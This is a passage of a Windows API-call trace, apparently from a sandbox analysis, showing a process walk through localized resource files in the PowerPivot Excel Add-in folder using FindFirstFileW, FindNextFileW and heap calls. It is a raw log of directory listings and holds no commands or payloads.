cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.983] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.983] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0281.984] GetProcessHeap () returned 0xaf0000 [0281.984] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.984] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0281.985] GetProcessHeap () returned 0xaf0000 [0281.985] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0281.986] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.986] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167f56e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.987] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x718b80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd048, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0281.987] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5127e7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5127e7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5127e7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0281.987] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1480f75, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf158c060, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.987] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fea98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.987] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc0e95c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0281.987] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf03d07a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf03d07a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.987] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0281.987] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a0a7fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a0a7fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a30a43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0281.988] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0da6398, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0da6398, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0dcc568, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.988] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ac3289, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.989] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0281.989] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffdb5707, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffdb5707, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0281.989] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4a98712, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4abe91a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0281.989] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67f4711, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67f4711, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6840bbc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0281.989] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x238ed8d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x238ed8d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2984c3b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0281.989] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0281.989] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68b32cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0281.989] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.989] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.989] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0281.991] GetProcessHeap () returned 0xaf0000 [0281.991] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.991] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0281.991] GetProcessHeap () returned 0xaf0000 [0281.991] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0281.992] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.993] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.993] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0281.993] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51c07e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51c07e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51c07e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0281.993] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.993] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fe030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.993] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd6924a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd6924a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd6924a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.994] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0281.994] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8680a1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0281.994] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22a9f7a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0281.994] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b15891, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b15891, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b15891, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0281.994] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18157e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0281.994] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb654e78, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb654e78, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb67b102, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.994] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0281.994] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x605aed7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x605aed7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6081126, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0281.995] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6735b3a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6735b3a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6735b3a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0281.995] FindNextFileW (in: hFindFile=0xb02dc8, 